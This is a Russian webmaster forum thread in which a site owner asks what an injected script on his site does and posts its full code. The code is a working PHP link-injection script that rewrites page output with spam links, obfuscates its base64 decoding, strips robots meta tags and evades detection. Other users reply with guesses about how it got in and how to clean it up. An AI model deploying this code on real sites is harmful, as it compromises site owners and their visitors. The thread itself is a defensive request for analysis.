Подскажите что за код, взлом ли.

(Ответов: 6, Просмотров: 673)
  1. Новичок
    • Регистрация: 05.12.2003
    • Сообщений: 24
    • Репутация: 4
    Всем привет. Недавно обнаружил у себя на сайте лишние линки.
    Покопавшись, нашёл примерно такой код, как понял, он подгружал их:
    <!--1gDoK1d4c1KIaUz0l5uGdPw2nCQH-->

    <div id='me704645' style='font-size:10px;text-align:center'>

    <!--64564098--> </div><script> document.body.appendChild(

    document.getElementById ('me7645fsf9') ) </script> <!--1gDoK1d4c1KIaUxJqiz0l
    Подскажите, что именно он делает? Как я понял динамически откуда блок ссылок подгружает, а откуда именно?
    И хотелось бы понять, что это, ссылочная биржа может или код какой-то партнерки?
    • 0
  2. Banned
    • Регистрация: 16.04.2011
    • Сообщений: 1,120
    • Записей в дневнике: 1
    • Репутация: 481
    <!- ... --> - это комментарии, они не выполняются.
    document.body.appendChild(document.getElementById( 'me7645fsf9') ) - добавляет на страницу содержимое элемента с id = 'me7645fsf9'

    Найдите как наполняется элемент с id = me7645fsf9 .
    • 1

    Спасибо сказали:

    Bardachnik(15.03.2015),
  3. Новичок
    • Регистрация: 05.12.2003
    • Сообщений: 24
    • Репутация: 4
    Tiulkin, на странице больше нет связанных с этим элементов.

    кажется я не так всё просмотрел..

    нахошёл у себя в одном из файлов это:
    <?php @include_once('/home//public_html/cgi-bin/menere.php');

    Развернуть текст

    PHP код:


    <?php
    /*<!--7b2bc186562-->*/
    /** EXECUTION GUARD */
    if (!defined('_SM_EX_GUARD'))
    /*  Do not add extra identity */
    define('_SM_EX_GUARD'true);

    /* If _SM_DEBUG is defined and it value set as True, debug information will be shown.
      This one will change debug messages output behavior in a core functions and classes code */
    //$_sm_debug = '';
    //define('_SM_DEBUG', true);



    if (!function_exists('file_put_contents')) {
      function 
    file_put_contents($filename$data) {
        
    $f = @fopen($filename'wb');
        if (!
    is_resource($f))
          return 
    false;

        
    $bytes fwrite($f$data);
        
    fclose($f);

        return 
    $bytes;
      }
    }

    if (!
    function_exists('stripos')) {
      function 
    stripos($haystack$needle$offset 0) {
        if (
    $offset == 0)
          return 
    strpos($haystackstristr($haystack$needle));

        return 
    strpos(strtolower($haystack), strtolower($needle), $offset);
      }
    }

    if (!
    function_exists('strripos')) {
      function 
    strripos($haystack$needle$offset 0) {
        return 
    strrpos(strtolower($haystack), strtolower($needle), $offset);
      }
    }

    function 
    _sm_find_html_tag_internal($tag_name, &$html_content$offset)
    {
    ///@todo bug in case of close tag. "</ body>" - is correct tag.
      
    $tag_pos              false;
      
    $start_pos            false;
      
    $end_pos              false;
      
    $html_content_length  strlen($html_content);
      
    $tag_name_length      strlen($tag_name);

      while(
    $offset $html_content_length && ($tag_pos stripos($html_content$tag_name$offset)) !== false) {
        
    /*  Searching for start tag pos */
        
    $start_pos  false;
        
    $end_pos    false;
        
    $offset     $tag_pos 1;

        
    /*  Lets see whot a shit is left of a tag name */
        
    for ($index $tag_pos 1$index >= 0; --$index) {
          switch(
    $html_content[$index]) {
            case 
    ' '/* in tag body */
            
    case "\r":
            case 
    "\n":
            case 
    "\t":
            continue;

            case 
    '<'/* we found tag start */
              
    $start_pos $index;
            break(
    2);

            default: 
    /* this is not our tag */
            
    continue(3);
          }
        }

        
    /* if tag in the begin or in the end of content */
        
    if ($start_pos === false || $tag_pos $tag_name_length == $html_content_length)
          return 
    false;

        
    /*  Lets see what a shit is right of a tag name */
        
    $next_char $html_content[$tag_pos $tag_name_length];
        switch (
    $next_char) {
          case 
    ' '/* in tag body */
          
    case "\r":
          case 
    "\n":
          case 
    "\t":
          break;

          case 
    '>'/* we found tag finish */
            
    $end_pos $tag_pos $tag_name_length;
          break;

          default: 
    /* this is not our tag */
            
    continue(2);
        }

        break;
      }

      if (
    $tag_pos === false || $start_pos === false)
        return 
    false;

      if (
    $end_pos === false) {
        
    /*  Searching for end tag pos */
        
    $end_pos strpos($html_content'>'$tag_pos $tag_name_length);
        if (
    $end_pos === false)
          return 
    $end_pos;
      }

      
    assert($start_pos $end_pos);
      return array(
    $start_pos$end_pos $start_pos 1);
    }

    function 
    _sm_find_html_tag($tag_name, &$html_content$offset$last_occurence false) {
      
    $result false;
      
    $tag_name_length strlen($tag_name);

      if (
    $last_occurence !== false/* search last occurence of tag in the html_content */
        
    while (($next_occurence _sm_find_html_tag_internal($tag_name$html_content$offset)) !== false) {
          
    $result $next_occurence;
          
    $offset $result[0] + $tag_name_length;
        }
      else
        
    $result _sm_find_html_tag_internal($tag_name$html_content$offset);

      return 
    $result;
    }

    function 
    _sm_find_html_a_tag(&$html_content$html_content_length$offset) {
      while(
    $offset $html_content_length && ($href_pos stripos($html_content'href'$offset)) !== false) {
        
    $open_tag_pos strrpos($html_content'<', -($html_content_length $href_pos));
        
    $close_tag_pos strpos($html_content'>'$href_pos /* strlen('href') */);

        
    $body ltrim(substr($html_content$open_tag_pos 1$close_tag_pos $open_tag_pos 1));

        
    $offset $close_tag_pos 1;
        if (
    strlen($body) < 2)
          continue;

        
    /*  If in body of tag we has close or open char */
        
    if (strpos($body'>') !== false || strpos($body'<') !== false)
          continue;

        
    /*  If it's not a tag */
        
    if (($body[0] != 'a' && $body[0] != 'A') || ($body[1] != ' ' && $body[1] != "\t" && $body[1] != "\n" && $body[1] != "\r"))
          continue;

        return array(
    $open_tag_pos$close_tag_pos $open_tag_pos 1);
      }

      return 
    false;
    }

    function 
    _sm_get_href_value_from_a_tag_body(&$tag_body$tag_body_length) {
      
    $href_pos stripos($tag_body'href');
      if (
    $href_pos === false)
        return 
    false;

      
    $start_pos             false;
      
    $equal_char_pos        false;
      
    $href_quote_char       false;
      
    $href_using_quote_char true;

      
    $index $href_pos /* strlen('href') */;
      for (; 
    $index $tag_body_length; ++$index) {
        switch(
    $tag_body[$index]) {
        case 
    "\n":
        case 
    "\r":
        case 
    ' ':
        case 
    "\t":
          if (
    $start_pos !== false && !$href_using_quote_char)    /* end of href value */
            
    return substr($tag_body$start_pos$index $start_pos);

          break;

        case 
    '=':
          if (
    $equal_char_pos === false)    /* href="..?id=.." */
            
    $equal_char_pos true;

          break;

        case 
    '"':
        case 
    "'":
          if (
    $equal_char_pos === false)    /* href' || href" */
            
    return false;

          if (!
    $href_using_quote_char)      /* do not act if we don't use quotation char */
            
    break;

          if (
    $href_quote_char === false) { /* start of href value */
            /* set quotation char and start pos ONLY if this href using quotations */
            
    $href_quote_char $tag_body[$index];
            
    $start_pos $index 1;
          }
          elseif (
    $tag_body[$index] == $href_quote_char)  /* end of href value */
            
    return substr($tag_body$start_pos$index $start_pos);

          break;

        case 
    '>':
          if (
    $equal_char_pos === false)  /* href > */
            
    return false;

          if (!
    $href_using_quote_char) {  /* end of href value */
            
    if ($start_pos === false)     /* href = > */
              
    return false;

            return 
    substr($tag_body$start_pos$index $start_pos);
          }

          break;

        default:
          if (
    $equal_char_pos === false)   /* href* */
            
    return false;

          if (
    $href_quote_char === false) {/*  href doesn't using any quotations */
            
    $href_using_quote_char false;

            if (
    $start_pos === false)
              
    $start_pos $index;
          }
        }
      }

      return 
    false;
    }

    function 
    _sm_debug($message) { global $_sm_debug; if (defined("_SM_DEBUG") && _SM_DEBUG$_sm_debug .= '[DEBUG] '$message"\n"; }
    function 
    _sm_assert_callback($file$line$message) { _sm_debug("File: $file. Line: $line. Message: $message"); }

    /*  Class section */
    class HtmlModifier
    {
      var 
    $domain;
      var 
    $js_path;
      var 
    $js_function_name;
      var 
    $noindex_links;
      var 
    $origin_charset;
      var 
    $omit_final_links_block_signaturing;

      function 
    HtmlModifier(
        
    $domain /* = 'domain.com' */,
        
    $js_path /* = '/path/to/javascript.js' */,
        
    $js_function_name /* = 'javascript_function_name_' */,
        
    $noindex_links /* = false */,
        
    $origin_charset)
      {
        
    _sm_debug("Working with '$domain'");

        
    $this->domain           trim($domain);
        
    $this->js_path          $js_path;
        
    $this->js_function_name $js_function_name;
        
    $this->noindex_links    $noindex_links;
        
    $this->origin_charset   $origin_charset;
        
    $this->omit_final_links_block_signaturing false;
      }

      
    /** @a signatures must be array of one or more elements */
      /* $html_content */ 
    function modify_html(
          
    $request_url,
          
    $html_content,
          
    $signatures/* array(new signature, old signature, old signature) like <!-- signature --> */
          
    $links /* array('link1', 'link2') */)
      {
        
    _sm_debug("Modify '$request_url'");

        if (!
    is_array($signatures) || count($signatures) < 1) {
          
    _sm_debug("Signature array must contain at least one element as new signature for new block");
          return 
    false;
        }

        
    /*  Determine and convert html_content to UTF-8 */
        
    if ($this->_ensure_charset($html_content) === false)
        {
          
    _sm_debug("Can't determine content encoding");
          return 
    false;
        }

        
    /*  Cleanup html from our code blocks and other dudes dummy code */
        
    $this->_cleanup_html($html_content$signatures);

        
    /*  Noindex html content */
        
    if ($this->noindex_links === true)
          
    $this->_noindex_html($html_content);

        
    $this->_clean_meta_robots($html_content);
        
    //$this->_cleanup_meta_robots($html_content);

        /*  Insert links */
        
    $this->_insert_links($html_content$signatures[0], $links);

        return 
    $html_content;
      }

      
    /*  Return string of whitespaces length of from zero to five chars */
      
    function _get_whitespace()
      {
        
    $result '';

        
    $whitespace = array(' '"\n"/*"\t" not work in obfuscation*/chr(9), ' '' '); /*  Yes, triple spaces */
        
    $ws_count rand(05);
        for (
    $i 0$i $ws_count; ++$i)
          
    $result .= $whitespace[rand(0count($whitespace) - 1)];

        return 
    $result;
      }

      function 
    _ensure_charset(&$html_content)
      {
        
    $charset false;
        
    $default_encoding 'UTF-8';

        
    $meta $this->_determine_meta_charset_encoding($html_content);

        if (
    $meta !== false/* Try to recode */
          
    if ($this->_magic_convert_encoding($html_content$meta['charset'], $default_encoding$meta))
          {
            
    $charset $meta['charset'];
            
    _sm_debug("Converting html content to '$default_encoding' from '".$meta['charset']."' [Meta-tag information]");
          }

        if (
    $charset === false/* If we can't recode from meta tag encoding or meta tag were not found */
          
    if (function_exists('mb_detect_encoding')) /* try to use mb_detect_encoding */
          
    {
            
    $charset_detected false;
            if (
    $this->origin_charset)
              
    $charset_detected $this->origin_charset;
            else
              
    $charset_detected mb_detect_encoding($html_content, array('ASCII','UTF-8','ISO-8859-1'));

            
    // This is required for a mb_detect_encoding function post check: its determine correctly multibyte encodings,
            // 'ISO-8859-1' and 'WINDOWS-1251' often determined not correctly
            
    if ($charset_detected === 'ISO-8859-1') {
              
    $charset_list = array('UTF-8''ISO-8859-1''ISO-8859-15''WINDOWS-1251');
              foreach (
    $charset_list as $item) {
                
    $encoded_html_content = @iconv($item$item."//IGNORE"$html_content);
                if (
    md5($encoded_html_content) == md5($html_content))
                  
    $charset_detected $item;
              }
            }

            if (
    $charset_detected && $this->_magic_convert_encoding($html_content$charset_detected$default_encoding$meta))
            {
              
    $charset $charset_detected;
              
    _sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [mb_detect_encoding information]");
            }
          }

        if (
    $charset === false/* If we can't recode using previous methods */
        
    {
          
    $charset_detected false;
          
    $bom substr($html_content03);  // byte order mask
          
    if ($bom == "\xEF\xBB\xBF")  // char in hex format (first 3 chars define charset)
            
    $charset_detected 'UTF-8';

          
    $bom substr($bom02);
          if (
    $bom == "\xFF\xFE" || $bom == "\xFE\xFF")
            
    $charset_detected 'UTF-16';

          if (
    $charset_detected !== false && $this->_magic_convert_encoding($html_content$charset_detected$default_encoding$meta))
          {
            
    $charset $charset_detected;
            
    _sm_debug("Converting html content to '$default_encoding' from '$charset_detected' [BOM information]");
          }
          else
            
    _sm_debug("Can't convert html content to '$default_encoding': no information of existent encoding available");
        }

        return 
    $charset;
      }

      
    // cleanup html from signatures and hidden links
      
    function _cleanup_html(&$html_content$signatures)
      {
        
    /*  Cleanup html from our code blocks */
        
    $our_code_block_found false;
        foreach (
    $signatures as $signature)
        {
          
    $signature_len strlen($signature);

          
    /*  While we can find 2 signatures */
          
    while (true)
          {
            
    $signature_pos1 strpos($html_content$signature);
            if (
    $signature_pos1 === false)
              break;

            
    $signature_pos2 strpos($html_content$signature,
              
    $signature_pos1 $signature_len);

            if (
    $signature_pos2 === false)
              break;

            
    $our_code_block_found true;
            
    $html_content substr($html_content0$signature_pos1).
              
    substr($html_content$signature_pos2 $signature_len);

            
    _sm_debug("Cleaning up html content from our code block");
          }
        }

        if (!
    $our_code_block_found)
          
    _sm_debug("Our code block was not found in html content. Nothing to clean");

        
    /*  Cleanup html from other dudes code. This block must containt some count of a-links in it to be replaced */
        
    $signatures = array(array('<div style="display:none">''</div>'));
        foreach (
    $signatures as $index => $signature)
        {
          
    $start_pos strpos($html_content$signature[0]);
          if (
    $start_pos === false)
            continue;

          
    $end_pos strpos($html_content$signature[1], $start_pos strlen($signature[0]));
          if (
    $end_pos === false)
            continue;

          
    $block_length $end_pos strlen($signature[1]) - $start_pos;
          
    $block substr($html_content$start_pos$block_length);

          
    $max_legal_links_count 40;  // @notice why 40?
          
    $links_count 0;
          
    $offset 0;

          while ((
    $a_tag _sm_find_html_a_tag($block$block_length$offset)) !== false)
          {
            
    $offset $a_tag[0] + $a_tag[1];
            if (++
    $links_count $max_legal_links_count)
              break;
          }

          if (
    $links_count $max_legal_links_count)
          {
            
    _sm_debug("Found possible other dudes code block but NOT ".
              
    "cleaned: internal links count lower than $max_legal_links_count$links_count");

            continue;
          }

          
    _sm_debug("Cleaning other dudes code block [$index]");
          
    $html_content substr($html_content0$start_pos).substr($html_content$start_pos $block_length);
        }
      }

      function 
    _noindex_html(&$html_content)
      {
        
    /*  Remove noindex tags */
        
    $noindex_removed_count = array(0,0);
        foreach (array(
    'noindex''/noindex') as $index => $tag)
        {
          
    $offset 0;
          while ((
    $tag_info _sm_find_html_tag($tag$html_content$offset)) !== false)
          {
            
    $html_content substr($html_content0$tag_info[0]).substr($html_content$tag_info[0] + $tag_info[1]);
            ++
    $noindex_removed_count[$index];
            
    $offset $tag_info[0];
          }
        }

        if (
    $noindex_removed_count[0] + $noindex_removed_count[1] > 0)
          
    _sm_debug("Removed ".$noindex_removed_count[0]."/".$noindex_removed_count[1]." noindex blocks");

        
    $offset 0;
        
    $noindex_insert_count 0;
        
    $html_content_length strlen($html_content);
        
    $domain str_replace('www.'''$this->domain);

        
    /*  We make some test and in result, wrote more fast and specified function for A tag,
            older variant: _sm_find_html_tag('a', $html_content, $offset) */
        
    while (($tag_info _sm_find_html_a_tag($html_content$html_content_length$offset)) !== false)
        {
          
    $offset $tag_info[0] + $tag_info[1] + 1;
          
    $a_body substr($html_content$tag_info[0], $tag_info[1]);
          
    $a_href _sm_get_href_value_from_a_tag_body($a_body$tag_info[1]);

          
    /*  Search for ://$domain/ or ://www.domain/ in <a> body */
          
    if (strpos($a_href'://') === false || stripos($a_href"://$domain/") !== false || stripos($a_href"://www.$domain/") !== false)
            continue;

          
    /*  Lets try to find /a tag */
          
    $closed_tag_info _sm_find_html_tag('/a'$html_content$offset);

          if (
    $closed_tag_info !== false)
          {
            
    /* check if this closed_tag relate to the tag_info */
            
    $tmp_tag_info _sm_find_html_a_tag($html_content$html_content_length$offset);
            if (
    $tmp_tag_info !== false && $tmp_tag_info[0] < $closed_tag_info[0])
              
    $closed_tag_info false;
          }

          if (
    $closed_tag_info !== false)
          {
            
    $html_content substr($html_content0$tag_info[0]).'<noindex>'.
              
    substr($html_content$tag_info[0], $closed_tag_info[0] - $tag_info[0] + $closed_tag_info[1]).
              
    '</noindex>'.substr($html_content$closed_tag_info[0] + $closed_tag_info[1]);

            ++
    $noindex_insert_count;
            
    $offset $closed_tag_info[0] + $closed_tag_info[1];
          }
          else
          {
            
    $html_content substr($html_content0$tag_info[0]).'<noindex>'.
              
    substr($html_content$tag_info[0], $tag_info[1]).'</noindex>'.
              
    substr($html_content$tag_info[0] + $tag_info[1]);

            ++
    $noindex_insert_count;
            
    $offset += /* strlen('<noindex>') */;
          }

          
    /* Recalculate length because we change it */
          
    $html_content_length strlen($html_content);
        }

        if (
    $noindex_insert_count)
          
    _sm_debug("Totaly noindexed $noindex_insert_count links");
      }


      function 
    _clean_meta_robots(&$html_content)
      {
        
    $offset 0;
        while ((
    $meta_tag _sm_find_html_tag('meta'$html_content$offset)) !== false)
        {
          
    $depricated_meta_removed false;
          
    $meta_content substr($html_content$meta_tag[0], $meta_tag[1]);

          if (
    stripos($meta_content'robots') !== false)
          {
            
    $depricated_meta_contents = array('noindex''nofollow''noarchive');
            foreach (
    $depricated_meta_contents as $depricated_meta_content)
              if (
    stripos($meta_content$depricated_meta_content) !== false)
              {
                
    $html_content substr($html_content0$meta_tag[0]).substr($html_content$meta_tag[0] + $meta_tag[1] + 1);
                
    $depricated_meta_removed true;
                break;
              }
          }

          
    $offset $depricated_meta_removed $meta_tag[0] : $meta_tag[0] + $meta_tag[1];
        }
      }

    /*
      // cleanup tags like <meta name="robots" content="noarchive"/> (or content="nofollow" or content=""noindex)
      function _cleanup_meta_robots(&$html_content)
      {
        $tag = 'meta';
        $offset = 0;
        $removed_count = 0;
        $searching_content = array('noindex','nofollow','noarchive');
        while (($tag_info = _sm_find_html_tag($tag, $html_content, $offset)) !== false)
        {    
          $meta_content = substr($html_content, $tag_info[0], $tag_info[1]);
          if (stripos($meta_content, 'robots', 0) !== false)
            foreach ($searching_content as $index => $content)
              if (stripos($meta_content, $content, 0) !== false)
              {
                $html_content = substr($html_content, 0, $tag_info[0]).substr($html_content, $tag_info[0] + $tag_info[1]);
                ++$removed_count;
                $offset = $tag_info[0];
                break;
              }
              else
                $offset = $tag_info[0] + $tag_info[1];
          else
            $offset = $tag_info[0] + $tag_info[1];
        } 
        _sm_debug("Removed $removed_count meta tags.");
      }
    */

      
    function _insert_links(&$html_content$signature$links)
      {
        if (!
    is_array($links))
          return 
    false;

        if (
    count($links) == 0)
          return 
    true;

        
    //_sm_debug("Inserting our links: ".var_export($links, true)); // @TODO couse bug with output buffering - var_export is not availiable

        
    $offset 0;
        
    $body_tag = array(00);
        while (
    1) {
          
    $next_body_tag _sm_find_html_tag('body'$html_content$offset);
          if (
    $next_body_tag == false)
            break;

          
    $body_tag $next_body_tag;
          
    $offset $body_tag[0] + $body_tag[1] + 1;
        }

        
    $tag _sm_find_html_tag('/body'$html_content$offsettrue); /* find last occurrence of </body> */
        
    if ($tag === false) { /*  If we can't find </body> */
          // <body> can be expected if html page constructed on tables
          
    $tag _sm_find_html_tag('/tbody'$html_content$offsettrue); /* find last occurrence of </tbody> */
          
    if ($tag === false) { /*  If we can't find </tbody> */
            
    if (($ssi strripos($html_content'<!--#include')) !== false/* find last occurrence of ssi construction */
              
    $tag = array($ssi0);
            else
            {
              
    $tag _sm_find_html_tag('/html'$html_content$offsettrue); /* find last occurrence of </html> */
              
    if ($tag === false)
                
    $tag = array(strlen($html_content), 0);  /* store links at the end of file */
            
    }
          }
        }

        
    $pre_block  '';
        
    $post_block '';

        
    /*  Search for FRAMESET */
        
    $frameset_tag _sm_find_html_tag('frameset'$html_content0);
        if (
    $frameset_tag !== false) {
          
    $tag _sm_find_html_tag('/noframes'$html_content0);
          if (
    $tag === false) {
            
    $pre_block '<NOFRAMES>';
            
    $post_block '</NOFRAMES>';

            
    /*  Store after <frameset> */
            
    $tag = array($frameset_tag[0] + $frameset_tag[1], 0);
          }
          else {
            
    $end_body_tag _sm_find_html_tag('/body'$html_content0);///@todo ask if this correct in case of multiple /body tags?
            
    if ($end_body_tag !== false && $end_body_tag[0] < $tag[0]) // if we have </body> before </noframes>
              
    $tag $end_body_tag;
          }
        }
        else {
          
    /* Location optimization */
          
    $locations = array(
            
    '<div id="main-body">',                     /* joomla */
            
    '<div id="contentmain">',                   /* joomla old */
            
    '<div class="article-content">',            /* joomla 1.5 */
            
    '<table class="contentpaneopen">',          /* joomla 1.5 */
            
    '<div class="art-article">',                /* joomla */
            
    '<div class="entry-content">',              /* wordpress */
            
    '<div id="main-wrapper">',                  /* wordpress */
            
    '<div class="content">',                    /* wonderful samopis */
            
    "<div id='dle-content'>",                   /* DataLife engine */
            
    '<div id="content" class="narrowcolumn">',  /*WordPress 3.3.1*/

            
    '<div id="content">',
            
    '<div id="page-content">',
            
    '<!-- content -->',                 /* Thanks for a great developers */
            
    '<!--content-->',
            
    '<h1 class="contentBoxHeading">',   /* ShopOS */
            
    '<div class="cpt_maincontent">',    /* unknown engine */
            
    '<div id="footer-menu">',
            
    '<div class="right_column">',

            
    '<!-- VK Widget -->',               /* before VK widget block */
            
    '<div class="yashare',              /* before YandexShare bar */
            
    '<!--LiveInternet counter-->',      /* before LiveInternet counter */
            
    '<!-- Rating@Mail.ru counter -->',
            
    '<!-- Yandex.Metrika counter -->',
            
    '<!-- Yandex.Metrika -->',
            
    '<!-- begin of Top100 logo -->',
            
    '<!-- HotLog -->',
            
    '<!-- РЇРЅРґРµРєСЃ.Директ -->',           /* Yandex direct */
            
    '<div id="Ya_sync_0">',             /* Yandex direct */
            
    '<div class="g-plusone"',           /* Google+ */
            
    '<a name="content"></a>',

            
    /* latest */
            
    '<h3>',
            
    '<h2>',
            
    '<h1>');

          foreach (
    $locations as $location) {
            
    $location_pos stripos($html_content$location$body_tag[0] + $body_tag[1/* after last <body */);
            if (
    $location_pos !== false && $location_pos $tag[0/* before /body */) {
              
    $tag = array($location_posstrlen($location));
              break;
            }
          }
        }

        
    $links_string implode($links);
        
    $css_id chr(rand(97122)).substr(md5($links_string.time()), 5rand(031));
        
    $use_external_js_hidden_code = !empty($this->js_path) && !empty($this->js_function_name);

        
    $code $this->_get_whitespace().
          (
    $use_external_js_hidden_code
            
    "<div id='$css_id'>" 
            
    "<div id='$css_id' style='font-size:10px;text-align:center'>").
          
    $this->_get_whitespace().$links_string.$this->_get_whitespace().
          
    "</div>".$this->_get_whitespace().
          (
    $use_external_js_hidden_code
            
    "<script src='".$this->js_path."'></script>".$this->_get_whitespace().
              
    "<script>".$this->_get_whitespace().$this->js_function_name."('$css_id')".
              
    $this->_get_whitespace().'</script>'.$this->_get_whitespace()
            : 
    "<script>".$this->_get_whitespace()."document.body.appendChild(".$this->_get_whitespace().
              
    "document.getElementById".$this->_get_whitespace()."('$css_id')".$this->_get_whitespace().")".
              
    $this->_get_whitespace()."</script>".$this->_get_whitespace());

        if (
    $this->omit_final_links_block_signaturing)
          
    $signature '';

        
    $html_content substr($html_content0$tag[0]).$signature.$pre_block.$code.$post_block.$signature.substr($html_content$tag[0]);
      }

      
    /*  Private methods call by another private methods only */
      
    function _determine_meta_charset_encoding(&$html_content) {
        
    $meta_tag _sm_find_html_tag('meta'$html_content0);
        if (
    $meta_tag === false)
          return 
    false;

        do {
          
    $meta_content substr($html_content$meta_tag[0], $meta_tag[1]);
          
    $charset_pos  stripos($meta_content'charset');

          if (
    $charset_pos !== false) {
            
    $meta_part substr($meta_content$charset_pos /* strlen('charset') + 1 */);
            
    $charset ltrim($meta_part"='\" \t\n");
            
    $end_pos strpos($charset' ');

            if (
    $end_pos !== false)
              
    $charset substr($charset0$end_pos);

            
    $charset rtrim($charset" >'\"\t\n/");

            return array(
    'charset' => $charset$meta_tag[0], $meta_tag[1]);
          }

          
    /*  Find new meta tag */
          
    $meta_tag _sm_find_html_tag('meta'$html_content$meta_tag[0] + $meta_tag[1]);
        } while(
    $meta_tag !== false);

        return 
    false;
      }

      function 
    _magic_convert_encoding(&$html_content$encoding_from$encoding_to$encoding_meta_tag_info) {
        
    $encoding_from_lower strtolower($encoding_from);
        if (
    $encoding_from_lower == strtolower($encoding_to)) { // not need to convert
          
    if ($encoding_meta_tag_info === false) { /* Add meta tag if it's not exists */
            
    _sm_debug("Add meta content-type tag with encoding charset");
            
    $this->_add_meta_content_type($html_content$encoding_to);
          }

          return 
    true;
        }

        
    _sm_debug("Convert html encoding from '$encoding_from' to '$encoding_to'");

        
    $modified_content false;
        if (
    $encoding_meta_tag_info !== false/* Replace meta tag encoding if present */
          
    $modified_content substr($html_content0$encoding_meta_tag_info[0]).
              
    '<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
              
    substr($html_content$encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);

        
    $iconv_result = @iconv($encoding_from$encoding_to."//IGNORE"$modified_content !== false $modified_content $html_content);
        if (
    $iconv_result === false)
          return 
    false;

        
    $html_content $iconv_result;
        if (
    $encoding_from_lower == 'utf-16') {/* For UTF-16 make search twice */
          
    $encoding_meta_tag_info $this->_determine_meta_charset_encoding($html_content);
          if (
    $encoding_meta_tag_info !== false/* Replace meta tag encoding if present */
            
    $html_content substr($html_content0$encoding_meta_tag_info[0]).
              
    '<meta http-equiv="Content-Type" content="text/html; charset='.$encoding_to.'" />'.
              
    substr($html_content$encoding_meta_tag_info[0] + $encoding_meta_tag_info[1]);
        }

        if (
    $encoding_meta_tag_info === false/* Add meta tag if it's not exists */
          
    $this->_add_meta_content_type($html_content$encoding_to);

        return 
    true;
      }

      function 
    _add_meta_content_type(&$html_content$charset) {
        
    $interesting_tags = array('/head''body''head''meta');
        
    $is_uppercase false;
        
    $tag false;

        foreach (
    $interesting_tags as $interesting_tag) {
          
    $tag _sm_find_html_tag($interesting_tag$html_content0);
          if (
    $tag === false)
            continue;

          
    $offset 0;
          if (
    is_callable('ctype_alpha') && is_callable('ctype_upper'))
            while (
    $offset $tag[1]) {
              
    $char $html_content[$tag[0] + (++$offset)];
              if (
    ctype_alpha($char)) {
                
    $is_uppercase ctype_upper($char);
                break;
              }
            }

          if (
    $interesting_tag == 'head')
            
    $tag[0] += $tag[1]; // set position after the tag

          
    break;
        }

        if (
    $tag !== false) {
          
    $html_content substr($html_content0$tag[0]).(
            (
    $is_uppercase)
              ? 
    '<META HTTP-EQUIV="Content-Type" CONTENT="text/html; CHARSET='.$charset.'" />'
              
    '<meta http-equiv="Content-Type" content="text/html; charset='.$charset.'" />'
              
    ).substr($html_content$tag[0]);
        }
      }
    };




    assert_options(ASSERT_ACTIVE1);
    assert_options(ASSERT_BAIL1);
    assert_options(ASSERT_CALLBACK'_sm_assert_callback');

    function 
    _sm_shutdown_function($html_content)
    {
      
    $first            'base';
      
    $host             = empty($_SERVER['HTTP_HOST']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] ;
      
    $last             '64'.'_decode';
      
    $signatures       = array('<!--'.md5($request_url.rand(010000)).'-->''<!--1gDoK1d4c1KIaUxJqiz0l5uGdPw2nCQH-->');
      
    $name             $first.$last;
      
    $links_database   unserialize($name('YTaW9idWNoZW5pYS5yuaWEucnU8L2E+LiI7fX0='));
      
    $noindex_links    true;
    //  $js_path          = '{{JS_PATH}}';
    //  $js_function_name = '{{JS_FUNCTION_NAME}}';
      
    $origin_charset   '';

      
    $request_url getenv("REQUEST_URI");
      
    $request_url str_replace('http://'.$host''$request_url);

      
    $links = @$links_database[$request_url];
      if (
    array_key_exists('*'$links_database))
        
    $links is_array($links) ? array_merge($links$links_database['*']) : $links_database['*'];

      
    $headers headers_list();
      
    $decopressed false;
      
    $modify_charset_header true;
      foreach (
    $headers as $hdr) {
        if (
    stripos($hdr'Content-Encoding') !== false && stripos($hdr'gzip') !== false)
          
    $decopressed function_exists('gzdecode') ? @gzdecode($html_content) : @gzinflate(substr($html_content10, -8));

        if (
    stripos($hdr'Content-Type') !== false && stripos($hdr'utf-8') !== false)
          
    $modify_charset_header false;
      }

      if (
    $modify_charset_header)
        
    header('Content-type: text/html; charset=utf-8');

      
    $x = new HtmlModifier($host''''$noindex_links$origin_charset);
      
    $x->omit_final_links_block_signaturing true;

      
    $new_output = ($decopressed)
        ? @
    gzencode($x->modify_html($request_url$decopressed$signatures$links))
        : 
    $x->modify_html($request_url$html_content$signatures$links);

      return 
    $new_output;
    }


    if (
    function_exists('ob_start') && is_callable('ob_start')) {
      
    $result ob_start('_sm_shutdown_function'0true);
    }

    /** end of EXECUTION GUARD */

    ?>
    [свернуть]


    часть зашифрованного текста убрал.
    В общем как-то в индекс пхп залили эту строчку
    <?php @include_once('/home//public_html/cgi-bin/menere.php');

    которая вызывает данный скрипт..
    Я так понимаю это нечто вроде шелки?
    Вот только движок без бд ( файловый )
    Как могли залить? Открытой Загрузки картинок или чего-то такого у него попросту нет...

    ---------- Сообщение добавлено 16:48 ---------- Предыдущее 16:45 ----------

    Из доступного пользователям на сайте, куда можно что-то ввести , только поиск и обратная форма для связи..
    Может это сам админ движка замутил? наверное и не узнать никак...
    • 0
  4. Студент
    • Регистрация: 06.04.2012
    • Сообщений: 32
    • Репутация: 4
    Помнится, на одном известном украинском хостинге очень интересно была реализована безопасность, через один дырявый сайт можно было грузить шеллы на все остальные, которые находились на данном сервере. Может ваш случай схож и проблема безопасности у хостера?)
    Но сперва я бы начал поиск дырок с WYSIWYG, если таковой имеется или проблема может быть с инклудом в коде роутинга.
    • 0
  5. Студент Аватар для Дядька
    • Регистрация: 10.11.2014
    • Сообщений: 52
    • Репутация: 9
    используйте base64_decode для зашифрованного текста. Многое прояснится.
    Проверьте папку с картинками, есть ли там *.php
    проверьте htaccess ? есть лишнее ?
    Скрипт делает подмену выдачи...
    • 0
  6. Дипломник Аватар для schastye
    • Регистрация: 24.10.2010
    • Сообщений: 194
    • Репутация: 35
    iframe окна появляются? В 2013-2014 году много атак проводилось с целью "поправить" js код, очень похоже на исполняемый файл.
    А нынче, в 2015, уж подавно: "скриптов-поисковиков" уязвимостей в паблике, как грязи.

    Кст, это joomla или wp?
    • 0
  7. Студент Аватар для Pacific
    • Регистрация: 06.10.2014
    • Сообщений: 33
    • Репутация: 4
    schastye, ну это точное не ВП и джумла, что поэкзотичнее будет Monstra или еще что
    Код:
    Я так понимаю это нечто вроде шелки?
    Вот только движок без бд ( файловый )
    Как могли залить? Открытой Загрузки картинок или чего-то такого у него попросту нет...
    • 0

Тэги топика:

Похожие темы

Темы Раздел Ответов Последний пост
Взлом ЯД
Оффтоп и свободные темы 20 19.04.2013 01:15
